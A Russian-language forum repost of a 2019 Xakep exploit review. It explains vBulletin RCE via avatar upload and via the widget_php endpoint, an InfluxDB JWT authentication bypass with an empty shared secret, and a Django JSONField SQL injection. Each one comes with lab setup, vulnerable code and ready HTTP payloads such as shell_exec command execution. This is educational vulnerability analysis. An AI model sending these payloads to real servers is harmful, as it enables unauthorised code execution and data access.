Обзор эксплоитов. Критические баги в vBulletin, InfluxDB и Django

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Сегодня мы поговорим сразу о нескольких уязвимостях. Одна из них была найдена в популярном форумном движке vBulletin и позволяет атакующему выполнять произвольный код, не имея никаких прав, — от такого безобразия его отделяет лишь один POST-запрос. Также я потреплю старичка Django в поисках SQL-инъекций и покажу, как работает обход авторизации в базе данных InfluxDB.
2019 год подходит к концу, все начинают усиленно готовиться к праздникам. Безопасники добивают свои последние аудиты, которые из года в год наваливаются в эту пору. Неудивительно — ведь фискальный год тоже подходит к концу, а бюджеты еще не до конца потрачены!

После таких плодотворных недель кругом начинается затишье, и это касается в том числе информационной безопасности. Не так много уязвимостей и активностей приходится на конец декабря и начало января. Поэтому сейчас самое время вспомнить баги, которые, возможно, остались незамеченными в течение года.

Они просты по своей сути, однако это не мешает им иметь критический статус. Одни дают возможность выполнить произвольный код, другие — получить доступ к чувствительным данным или вовсе захватить полный доступ к системе. В этом году сильно досталось коммерческому форумному движку vBulletin: сразу несколько опасных багов было найдено в последних его версиях во второй половине года. С них и начнем.


RCE через загрузку аватара в vBulletin

Автор: Эджидио Романо (Egidio Romano aka EgiX)
Дата релиза: 4.10.2019
CVE: CVE-2019-17132
Уязвимые версии: vBulletin <= 5.5.4

Чтобы более предметно разговаривать о найденной проблеме, нужно поднять стенд и посмотреть на нее поближе. Так как vBulletin — коммерческое приложение, я предлагаю тебе самостоятельно решить, каким образом его найти.

В качестве базы данных будем использовать MySQL, а в качестве веб-сервера — докер-контейнер на основе Debian.
Код: Скопировать в буфер обмена
Код:
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="EAQhaTXieg" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
docker run --rm -ti --link=mysql --name=websrv --hostname=websrv -p80:80 debian /bin/bash
Устанавливаем стандартный набор из Apache2 и PHP.
Bash: Скопировать в буфер обмена
apt update && apt install -y apache2 php nano php-mysqli php-xml php-gd
После этого можно запускать веб-сервер.
Bash: Скопировать в буфер обмена
service apache2 start
Теперь устанавливаем vBulletin, я буду использовать версию 5.4.3.

Установка vBulletin версии 5.4.3


Установка vBulletin версии 5.4.3

По дефолту загруженные файлы хранятся в базе данных, такое поведение совместимо с эксплуатацией уязвимости. Поэтому сначала нужно зайти в настройки и поменять место хранения аватаров.

Меняем место хранения загруженных аватаров пользователей в vBulletin


Меняем место хранения загруженных аватаров пользователей в vBulletin

Загружается аватар через отправку запроса POST на /profile/upload-profilepicture.
Код: Скопировать в буфер обмена
Код:
POST /profile/upload-profilepicture HTTP/1.1
Host: web.fh
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2V36WCZNIGxAuYwu
Cookie: сессионные_куки_

---WebKitFormBoundary2V36WCZNIGxAuYwu
Content-Disposition: form-data; name="profilePhotoFile"; filename="orange_box.png"
Content-Type: image/png

содержимое_файла
---WebKitFormBoundary2V36WCZNIGxAuYwu
Content-Disposition: form-data; name="securitytoken"

CSRF-токен
---WebKitFormBoundary2V36WCZNIGxAuYwu--
Если здесь просто попытаться загрузить PHP-файл, то ничего не выйдет. Расширение файла определяется библиотекой, которая работает с картинками. Если переданный документ не будет картинкой, то скрипт просто прекратит свою работу с ошибкой not_an_image.

core/vb/library/user.php
Код: Скопировать в буфер обмена
Код:
1335:   public function uploadAvatar($filename, $crop = array(), $userid = false, $adminoverride = false)
1336:   {
...
1339:       $isImage = $imageHandler->fileLocationIsImage($filename);
1340:       if ($isImage)
1341:       {
...
1359:           $fileInfo = $imageHandler->fetchImageInfo($filename);
...
1361:       else
1362:       {
1363:           // throw something useful here.
1364:           throw new vB_Exception_Api('not_an_image');
1365:       }
...
1435:       $ext = strtolower($fileInfo[2]);
1436:
1437:       $dimensions['extension'] = empty($ext) ? $pathinfo['extension'] : $ext;
...
1485:                   'extension' => $dimensions['extension'],
...
1511:       $result = $api->updateAvatar($userid, false, $filearray, true);
После всех манипуляций вызывается updateAvatar с параметрами аватара в $filearray.

Однако существует возможность напрямую вызвать этот метод API. Чтобы это сделать, нужно отправить запрос на эндпойнт ajax/api/user/updateAvatar.
Если заглянуть в тело метода updateAvatar, то можно обнаружить любопытный участок кода.

core/vb/api/user.php
Код: Скопировать в буфер обмена
Код:
4111:   public function updateAvatar($userid, $avatarid, $data = array(), $cropped = false)
4112:   {
...
4149:       if ($useavatar)
4150:       {
4151:           if (!$avatarid)
4152:           {
...
4166:               if (empty($data['extension']))
4167:               {
4168:                   $filebits = explode('.', $data['filename']);
4169:                   $data['extension'] = end($filebits);
4170:               }
4171:
4172:               $userpic->set('extension', $data['extension']);
...
4182:                   $avatarfilename = "avatar{$userid}_{$avatarrevision}.{$data['extension']}";
...
4186:                   $avatarres = @fopen("$avatarpath/$avatarfilename", 'wb');
...
4187:                   $userpic->set('filename', $avatarfilename);
4188:                   fwrite($avatarres, $data['filedata']);
4189:                   @fclose($avatarres);
Здесь расширение берется из массива $data, который можно просто передать в теле запроса. Оно будет иметь следующий вид:
Код: Скопировать в буфер обмена
userid=0&avatarid=0&data[extension]=<расширение_файла>&data[filedata]=<содержимое_файла>&securitytoken=<токен>
Когда userid установлен в ноль, скрипт выбирает текущего авторизованного пользователя, а avatarid, равный нулю, говорит, что нужно загружать аватар, а не удалять.

Вот мы и подобрались к самой сути уязвимости. vBulletin не проверят должным образом параметры data[extension] и data[fildeata], и это позволяет творить чудесные вещи. Например, установим расширение php, а в data[filedata] передадим простой PHP-код.
Код: Скопировать в буфер обмена
Код:
POST /ajax/api/user/updateAvatar HTTP/1.1
Host: web.fh
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=355lckvqh94p8sj61v7a4rvkvq; np_notices_displayed=; lastvisit=1576635268; lastactivity=1576672162; sessionhash=d3c263fa681b0b7cf8be74eab13aee6a

userid=0&avatarid=0&data[extension]=php&data[filedata]=<?php phpinfo(); ?>&securitytoken=1576672162-20c4434e90101a08780f3e0447410b20c03dc8a4
Загрузка PHP-скрипта как аватара через метод API /ajax/api/user/updateAvatar


Загрузка PHP-скрипта как аватара через метод API /ajax/api/user/updateAvatar

Если сервер вернул true, то дело в шляпе, PHP-скрипт был создан. Чтобы узнать путь до него, нужно определить текущий avatarrevision. Это можно сделать, просто загрузив следом валидную картинку. Сервер вернет путь до файла вида
Код: Скопировать в буфер обмена
{"hascustom":1,"avatarpath":"customavatars\/avatar2_36.png"}
Число после подчеркивания и будет текущей ревизией. Значит, предыдущая была на единицу меньше, так как она автоматически инкрементируется с каждой загрузкой. В моем случае это 35, а значит, путь до скрипта будет таким:
Код: Скопировать в буфер обмена
http://web.fh/core/customavatars/avatar2_35.php
Переходим по нему и видим информацию из phpinfo().

Успешная эксплуатация vBulletin. Выполнение произвольного PHP-кода


Успешная эксплуатация vBulletin. Выполнение произвольного PHP-кода

Конечно же, существует эксплоит, который автоматизирует все действия и предоставляет интерфейс для выполнения команд в виде шелла. Нужно лишь указать логин и пароль пользователя форума.
Эксплуатация RCE в vBulletin


Эксплуатация RCE в vBulletin


RCE через виджет в vBulletin
Автор: неизвестен
Дата релиза: 24.9.2019
CVE: CVE-2019-16759
Уязвимые версии: vBulletin 5.0.0–5.5.4

Вторая уязвимость в vBulletin еще проще, но при этом гораздо опаснее. Все потому, что эксплуатация не требует вообще никаких привилегий от атакующего.

В vBulletin, как и во всех современных CMS, существует система виджетов. Это небольшие кусочки кода, часто динамические, которые можно использовать при формировании контента на сайте. Один из таких виджетов — PHP. Как понятно из названия, он позволяет выполнять произвольный PHP-код и выводить его результаты на сайт.
PHP-виджет в vBulletin


PHP-виджет в vBulletin

Замечательная вещь, вот только доступна она не одним администраторам, а любому пользователю, который отправит верный запрос к ajax/render/widget_php.

Все виджеты инициализируются при установке vBulletin. Информация о шаблонах и непосредственно самих виджетах записывается в таблицы template и widget базы данных. Вот так выглядит интересующий нас widget_php.
Запись в таблице widget


Запись в таблице widget

Шаблон виджета widget_php в таблице template


Шаблон виджета widget_php в таблице template

Содержимое шаблона формируется при парсинге XML-файла во время установки vBulletin.

core/install/vbulletin-widgets.xml
XML: Скопировать в буфер обмена
Код:
1114:   <widget guid="vbulletin-widget_15-4eb423cfd6bd63.20171439">
1115:       <parentguid>vbulletin-abstractwidget-global</parentguid>
1116:       <template>widget_php</template>
1117:       <icon>module-icon-php.png</icon>
1118:       <isthirdparty>0</isthirdparty>
1119:       <category>Generic</category>
...
1143:           <definition>
1144:               <name>code</name>
1145:               <field>LongText</field>
...
1153:       </definitions>
1154:   </widget>

core/install/vbulletin-style.xml
XML: Скопировать в буфер обмена
Код:
65182:      <template name="widget_php" templatetype="template" date="1452807873" username="vBulletin Solutions" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
...
65190: <div class="b-module{vb:var widgetConfig.show_at_breakpoints_css_classes} canvas-widget default-widget custom-html-widget" id="widget_{vb:raw widgetinstanceid}" data-widget-id="{vb:raw widgetid}" data-widget-instance-id="{vb:raw widgetinstanceid}">
65191:
65192:  {vb:template module_title,
65193:      widgetConfig={vb:raw widgetConfig},
65194:      show_title_divider=1,
65195:      can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
65196:
65197:  <div class="widget-content">
65198:      <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
65199:          {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
65200:          {vb:raw $evaledPHP}
65201:      <vb:else />
...
65207: </div>]]></template>
Обрати внимание на строки 65 198–65 200. Если параметр code не пустой и в настройках vBulletin не отключено выполнение PHP-кода (а по дефолту именно так оно и есть), то вызывается функция evalCode.

includes/vb5/frontend/controller/bbcode.php
PHP: Скопировать в буфер обмена
Код:
213:    function evalCode($code)
214:    {
215:        ob_start();
216:        eval($code);
217:        $output = ob_get_contents();
218:        ob_end_clean();
219:        return $output;
220:    }
Эта функция выполняет переданный ей код на PHP и возвращает результат. Все, что нужно, чтобы проэксплуатировать уязвимость, — это передать на эндпойнт ajax/render/widget_php необходимые конструкции в widgetConfig['code'].
Код: Скопировать в буфер обмена
Код:
POST /ajax/render/widget_php HTTP/1.1
Host: web.fh
Content-Length: 65
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

widgetConfig[code]=echo shell_exec('uname -a; id; whoami');exit;
Выполнение произвольного кода в vBulletin через виджет


Выполнение произвольного кода в vBulletin через виджет

В ответе сервера получаем результат выполненных команд.

Это настолько нелепо, что сильно напоминает обычный бэкдор, который не очень-то и пытались скрыть. Либо это досаднейший недосмотр разработчиков. В продуктах такого калибра, как vBulletin, подобного происходить не должно.


Обход аутентификации в InfluxDB
Автор: неизвестен
Дата релиза: 27.3.2019
CVE: нет
Уязвимые версии: все версии всех основных веток (1.6, 1.7, 1.8), выпущенные до 2 апреля 2019 года

Давай немного отдохнем от PHP и переключимся на что-нибудь другое. На очереди база данных InfluxDB.

Это кросс-платформенное опенсорсное решение для хранения временных рядов, так называемая time series database (TSDB). Она полностью написана на языке Go, не требует внешних зависимостей и чаще всего используется для хранения больших объемов данных с метками времени. Это, например, данные мониторинга, метрики приложений и показатели датчиков IoT.

Синтаксис запросов InfluxDB чем-то похож на SQL. В целом это не такой уж и редкий гость в корпоративной среде, мне частенько попадаются инстансы во время аудитов.

Для начала запустим докер-контейнер с уязвимой версией БД. При этом я сразу указываю администратора и его пароль.
Код: Скопировать в буфер обмена
docker run --rm -d -p8086:8086 -e INFLUXDB_HTTP_AUTH_ENABLED=true -e INFLUXDB_ADMIN_USER=admin -e INFLUXDB_ADMIN_PASSWORD=admin -e INFLUXDB_DB=sample influxdb:1.7.5
По дефолту интерфейс доступен на порте 8086.

База данных поддерживает аутентификацию при помощи токенов JWT. Заглянем в сорцы.

influxdb-1.7.5/services/httpd/handler.go
Код: Скопировать в буфер обмена
Код:
1553: func authenticate(inner func(http.ResponseWriter, *http.Request, meta.User), h *Handler, requireAuthentication bool) http.Handler {
1554:   return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
...
1585:           case BearerAuthentication:
1586:               keyLookupFn := func(token *jwt.Token) (interface{}, error) {
1587:                   // Check for expected signing method.
1588:                   if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
1589:                       return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
1590:                   }
1591:                   return []byte(h.Config.SharedSecret), nil
1592:               }
1593:
1594:               // Parse and validate the token.
1595:               token, err := jwt.Parse(creds.Token, keyLookupFn)
1596:               if err != nil {
1597:                   h.httpError(w, err.Error(), http.StatusUnauthorized)
1598:                   return
1599:               } else if !token.Valid {
1600:                   h.httpError(w, "invalid token", http.StatusUnauthorized)
1601:                   return
1602:               }
Если внимательно посмотреть, то нет никакой проверки, что SharedSecret не пуст. А это значит, что атакующему для авторизации достаточно передать строку нулевой длины в качестве секрета и валидное имя пользователя.

Давай проверим это. Сгенерировать данные можно, например, на jwt.io.
Генерируем данные для аутентификации в InfluxDB


Генерируем данные для аутентификации в InfluxDB

Теперь просто отправляем полученную строку в хидере Authorization вместе с необходимым запросом. Я пробую выполнить SHOW users.

Код: Скопировать в буфер обмена
Код:
POST /query HTTP/1.1
Host: influx.fh:8086
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTc3MjM5MDIyfQ.x-gfOaWUKs9GBqhF5p3MPYvQ5WhqNzxTTlElYpM8n_E

db=sample&q=show+users
Обход аутентификации в InfluxDB при помощи пустой переменной shared-secret


Обход аутентификации в InfluxDB при помощи пустой переменной shared-secret

Вуаля, сервер возвращает результаты запроса, а значит, авторизация была успешно пройдена.

Такого, разумеется, быть не должно, и разработчики уже выпустили патч, который добавляет необходимые проверки. Проблему усугубляло еще и то, что на момент публикации уязвимости в официальной документации Authentication and authorization не было никакого упоминания ни о shared-secret, ни о том, насколько опасно оставлять его пустым. Сейчас справочная страница обновлена и такой раздел уже существует, да и сама система теперь автоматически отключает аутентификацию этим способом, если указан пустой shader-secret.


SQL-инъекция в Django

Теперь переключимся на Python, а именно фреймворк Django, который довольно редко мелькает в рассылках по информационной безопасности.

Автор: Сейдж Абдулла (Sage M. Abdullah)
Дата релиза: 8.9.2019
CVE: CVE-2019-14234
Уязвимые версии: в ветке Django 1.11 все версии до 1.11.23, в 2.1 до 2.1.11 и в 2.2 до 2.2.4

Сначала займемся тестовым окружением. Здесь за нас уже все сделали ребята из vulhub. Клонируй их репозиторий и отправляйся в папку CVE-2019-14234. В ней ты найдешь все, что нужно. Запустить готовый стенд можно парой команд.
Код: Скопировать в буфер обмена
Код:
docker-compose build
docker-compose up -d
Сборка и запуск стенда для теста уязвимости в Django


Сборка и запуск стенда для теста уязвимости в Django

На борту последняя уязвимая версия Django из ветки 2.2 — 2.2.3, а также необходимые данные. После развертывания окружения веб-сервер будет доступен на 8000-м порте.

Работающий стенд для тестирования CVE-2019-14234


Работающий стенд для тестирования CVE-2019-14234

Первым делом идем в админку и авторизуемся как admin:a123123123. Здесь есть несколько коллекций. Поле detail является экземпляром класса JSONField.

vuln/migrations/0001_initial.py
Python: Скопировать в буфер обмена
Код:
04: from django.contrib.postgres.fields import JSONField
...
14:     operations = [
15:         migrations.CreateModel(
16:             name='Collection',
17:             fields=[
18:                 ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
19:                 ('name', models.CharField(max_length=128)),
20:                 ('detail', JSONField()),
21:             ],
22:         ),
23:     ]

vuln/models.py
Python: Скопировать в буфер обмена
Код:
05: class Collection(models.Model):
06:     name = models.CharField(max_length=128)
07:     detail = JSONField()
08:
09:     def __str__(self):
10:         return self.name
Как видишь, в качестве базы данных используется Postgres. Данные в нее были импортированы из файла collection.json.

docker-entrypoint.sh
Код: Скопировать в буфер обмена
Код:
6: wait-for-it.sh -t 0 db:5432 -- echo "postgres is up"
7:
8: python manage.py migrate
9: python manage.py loaddata collection.json

collection.json
Код: Скопировать в буфер обмена
Код:
01: [
02:     {
03:       "model": "vuln.Collection",
04:       "pk": 1,
05:       "fields": {
06:         "name": "Example 1",
07:         "detail": {
08:             "title": "title 1",
09:             "author": "vulhub",
10:             "tags": ["python", "django"],
...
16:       "model": "vuln.Collection",
17:       "pk": 2,
18:       "fields": {
19:         "name": "Example 2",
...
23:             "tags": ["python"],
Импортированные данные в Django


Импортированные данные в Django

Конструкция с двумя нижними подчеркиваниями (shallow key) говорит Django о том, что нужно выполнить расширенную фильтрацию данных. Например, требуется выбрать записи, которые содержат тег django. В этом поможет конструкция вида detail__tags__contains.
Фильтрация данных в Django при помощи shallow keys


Фильтрация данных в Django при помощи shallow keys

Эта конструкция парсится и трансформируется в запрос к базе данных. В терминологии Django __tags— это transform, а __contains — это lookup. Первое говорит, где нужно искать (в каком поле), а второе — каким образом выполнять сравнение с переданными значениями.

/django-2.2.3/django/db/models/lookups.py
Код: Скопировать в буфер обмена
Код:
013: class Lookup:
...
129: class Transform(RegisterLookupMixin, Func):
Так как JSONField — это специальный тип данных в Postgres, то для корректной работы с ним нужно было изменить логику обычных transform и lookup. И если lookup практически не изменился, то transform — кардинально. Посмотрим на имплементацию метода get_transform.

/django-2.2.3/django/contrib/postgres/fields/jsonb.py
Код: Скопировать в буфер обмена
Код:
07: from django.db.models import (
08:     Field, TextField, Transform, lookups as builtin_lookups,
09: )
...
14: __all__ = ['JSONField']
15:
16:
17: class JsonAdapter(Json):
...
30: class JSONField(CheckFieldDefaultMixin, Field):
...
53:     def get_transform(self, name):
54:         transform = super().get_transform(name)
55:         if transform:
56:             return transform
57:         return KeyTransformFactory(name)
В конечном счете модель должна сгенерировать SQL-запрос. За это отвечает метод as_sql.

/django-2.2.3/django/contrib/postgres/fields/jsonb.py
Python: Скопировать в буфер обмена
Код:
094: class KeyTransform(Transform):
095:     operator = '->'
096:     nested_operator = '#>'
...
098:     def __init__(self, key_name, *args, **kwargs):
099:         super().__init__(*args, **kwargs)
100:         self.key_name = key_name
...
102:     def as_sql(self, compiler, connection):
103:         key_transforms = [self.key_name]
104:         previous = self.lhs
105:         while isinstance(previous, KeyTransform):
106:             key_transforms.insert(0, previous.key_name)
107:             previous = previous.lhs
108:         lhs, params = compiler.compile(previous)
109:         if len(key_transforms) > 1:
110:             return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
111:         try:
112:             int(self.key_name)
113:         except ValueError:
114:             lookup = "'%s'" % self.key_name
Как видно из кода, если я передам одинарную кавычку в названии ключа, который нужно искать в объекте JSON, то разорву конкатенацию строки и нарушу логику запроса.
SQL-инъекция в Django 2.2.3


SQL-инъекция в Django 2.2.3
Код: Скопировать в буфер обмена
SELECT COUNT(*) AS "__count" FROM "vuln_collection" WHERE ("vuln_collection"."detail" -> 'ta'gs') @> %s')
Здесь уже можно применять обычные техники эксплуатации SQL-инъекций, а так как это Postgres, то существует возможность раскрутить ее до выполнения произвольного кода.

Аналогичную проблему можно наблюдать в реализации HStoreField.

/django-2.2.3/django/contrib/postgres/fields/hstore.py
Python: Скопировать в буфер обмена
Код:
14: class HStoreField(CheckFieldDefaultMixin, Field):
...
25:     def get_transform(self, name):
26:         transform = super().get_transform(name)
27:         if transform:
28:             return transform
29:         return KeyTransformFactory(name)
...
80: class KeyTransform(Transform):
81:     output_field = TextField()
...
87:     def as_sql(self, compiler, connection):
88:         lhs, params = compiler.compile(self.lhs)
89:         return "(%s -> '%s')" % (lhs, self.key_name), params
На этом мы и закончим. Впереди новый год и, можно не сомневаться, новые баги!

Автор @iamsecurity aka aLLy
хакер.ру
 
Сверху Снизу